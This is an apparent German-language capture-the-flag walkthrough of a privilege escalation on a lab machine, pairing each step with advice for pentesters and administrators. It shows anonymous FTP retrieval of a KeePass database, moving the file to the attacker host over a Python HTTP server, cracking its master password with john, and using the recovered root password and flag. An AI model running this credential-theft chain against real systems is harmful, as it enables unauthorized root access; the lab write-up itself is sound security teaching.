200 PRT command successful. Consider using PASV. 150 Here comes the directory listing. drwxr-xr-x 2 0 0 4096 Mar 25 2021 . drwxr-xr-x 3 0 113 4096 Mar 25 2021 .. -rwx---rw- 1 0 0 1774 Mar 25 2021 root.kdbx <-- KeePass Datenbank! 226 Directory send OK.
[...] # Download erfolgreich
Analyse: Eine Verbindung zum lokalen FTP-Server auf Port 65123 wird aufgebaut. Ein anonymer Login (Benutzer `anonymous`, Passwort `anonymous`) ist erfolgreich. Im Root-Verzeichnis des FTP-Servers liegt eine Datei namens `root.kdbx`. Dies ist eine KeePass-Passwortdatenbankdatei. Die Datei wird mit `get` heruntergeladen.
Bewertung: Kritischer Fund! Eine KeePass-Datenbank, die wahrscheinlich Root-Zugangsdaten enthält, wurde über einen unsicher konfigurierten lokalen FTP-Server mit anonymem Zugriff gefunden. Der Name `root.kdbx` verstärkt diese Vermutung.
Empfehlung (Pentester): Übertragen Sie die heruntergeladene `root.kdbx`-Datei auf Ihr Angreifer-System (z.B. mit einem Python HTTP-Server oder `scp`, falls möglich). Verwenden Sie Tools wie `keepass2john` und `john` (oder Hashcat), um das Master-Passwort der KeePass-Datenbank zu knacken. Öffnen Sie anschließend die Datenbank mit KeePass und dem geknackten Passwort, um die darin gespeicherten Zugangsdaten (insbesondere für Root) zu extrahieren.
Empfehlung (Admin): Sichern Sie den vsFTPd-Dienst dringend ab: Deaktivieren Sie anonymen Zugriff, erzwingen Sie starke Passwörter, beschränken Sie den Zugriff auf notwendige Verzeichnisse. Speichern Sie niemals Passwort-Datenbanken oder andere hochsensible Daten auf einem unsicheren FTP-Server.
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 192.168.2.140 - - [30/Sep/2022 16:18:12] "GET /root.kdbx HTTP/1.1" 200 -
Analyse: Als Benutzer `tom` wird im Verzeichnis `/var/www` (wo die `root.kdbx` vermutlich nach dem FTP-Download liegt) ein einfacher Python-HTTP-Server gestartet, um die Datei für das Angreifer-System bereitzustellen.
Bewertung: Notwendiger Schritt, um die KeePass-Datei vom Zielsystem auf das Angreifer-System zu übertragen.
Empfehlung (Pentester): Laden Sie die Datei auf dem Angreifer-System herunter.
Empfehlung (Admin): Überwachen Sie das Starten von Webservern durch unprivilegierte Benutzer. Firewall-Regeln können ausgehende Verbindungen einschränken.
--2022-09-30 16:18:08-- http://192.168.2.107:8000/root.kdbx Verbindungsaufbau zu 192.168.2.107:8000 … verbunden. HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK Länge: 1774 (1,7K) [application/octet-stream] Wird in root.kdbx gespeichert. root.kdbx 100%[===================>] 1,73K --.-KB/s in 0s 2022-09-30 16:18:08 (492 MB/s) - 'root.kdbx' gespeichert [1774/1774]
Analyse: Auf dem Angreifer-System wird die `root.kdbx`-Datei erfolgreich vom Python-HTTP-Server auf dem Zielsystem heruntergeladen.
Bewertung: Die KeePass-Datei befindet sich nun auf dem Angreifer-System und kann geknackt werden.
Empfehlung (Pentester): Verwenden Sie `keepass2john` und `john` zum Knacken des Master-Passworts.
Empfehlung (Admin): Keine direkte Aktion.
[Keine Ausgabe]
Using default input encoding: UTF-8 Loaded 1 password hash (KeePass [SHA256 AES 32/64]) Cost 1 (iteration count) is 60000 for all loaded hashes Cost 2 (version) is 2 for all loaded hashes Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes Will run 8 penMP threads hardcore (root) <-- Erfolg! Master-Passwort gefunden. Session completed.
Analyse: `keepass2john` wird verwendet, um den Passwort-Hash aus der `root.kdbx`-Datei zu extrahieren und in `keepass.txt` zu speichern. Anschließend wird `john` mit der `rockyou.txt`-Wortliste auf diese Hash-Datei angesetzt. John findet erfolgreich das Master-Passwort: `hardcore`.
Bewertung: Das Master-Passwort für die KeePass-Datenbank wurde geknackt. Dies ermöglicht den Zugriff auf die darin gespeicherten Geheimnisse.
Empfehlung (Pentester): Öffnen Sie `root.kdbx` mit KeePass (oder einem kompatiblen Tool) und geben Sie das Master-Passwort `hardcore` ein. Extrahieren Sie das Root-Passwort des Systems aus der Datenbank.
Empfehlung (Admin): Verwenden Sie starke, einzigartige Master-Passwörter für Passwort-Manager. Speichern Sie KeePass-Dateien sicher und nicht auf unsicheren FTP-Servern.
Keepass auf Windows installiert , die Root.kdbx datei in gemeinsamen Ordner Verschoben und mit keepass auf Windows geöffnet, das password welches mit john gecrackt wurde eingegeben, und das passwort im keepass verzeichnis kopiert: 4t6W8JmfqZ0jnpuDFZbLxe0hw <-- Root-Passwort aus KeePass
Analyse: Die Kommentare beschreiben, wie die `root.kdbx`-Datei mit KeePass und dem geknackten Master-Passwort `hardcore` geöffnet wurde. Innerhalb der Datenbank wurde ein Eintrag gefunden, der das Root-Passwort für das Zielsystem enthält: `4t6W8JmfqZ0jnpuDFZbLxe0hw`.
Bewertung: Das Root-Passwort des Zielsystems wurde erfolgreich aus der KeePass-Datenbank extrahiert.
Empfehlung (Pentester): Verwenden Sie das Passwort `4t6W8JmfqZ0jnpuDFZbLxe0hw`, um sich als `root` auf dem Zielsystem anzumelden (entweder via `su root` aus der `tom`-Shell oder direkt via SSH).
Empfehlung (Admin): Sichern Sie Passwort-Manager-Dateien extrem gut ab. Verwenden Sie starke Master-Passwörter. Ändern Sie das kompromittierte Root-Passwort.
Password:
[Keine direkte Ausgabe, aber nächster Befehl als root]
uid=0(root) gid=0(root) groups=0(root)
Analyse: In einer Shell auf dem Zielsystem (wahrscheinlich als `tom`) wird `su root` ausgeführt. Das aus KeePass extrahierte Passwort `4t6W8JmfqZ0jnpuDFZbLxe0hw` wird eingegeben. Der anschließende `id`-Befehl bestätigt, dass der Benutzer nun `root` ist (UID=0).
Bewertung: Privilege Escalation zu `root` erfolgreich abgeschlossen!
Empfehlung (Pentester): Root-Zugriff erreicht. Lesen Sie die Root-Flag (`/root/root.txt`).
Empfehlung (Admin): Root-Passwort ändern. Alle identifizierten Schwachstellen beheben (unsicherer FTP, KeePass-Speicherung, `sudo`-Regeln).
[Keine Ausgabe]
AxV2YqIX3i8pUll4Pq7YglFb
Analyse: Als `root` wird in das Home-Verzeichnis gewechselt und die `root.txt` gelesen.
Bewertung: Die Root-Flag wurde erfolgreich extrahiert.
Empfehlung (Pentester): Flag dokumentieren. Bericht abschließen.
Empfehlung (Admin): Keine Aktion bezüglich der Flag.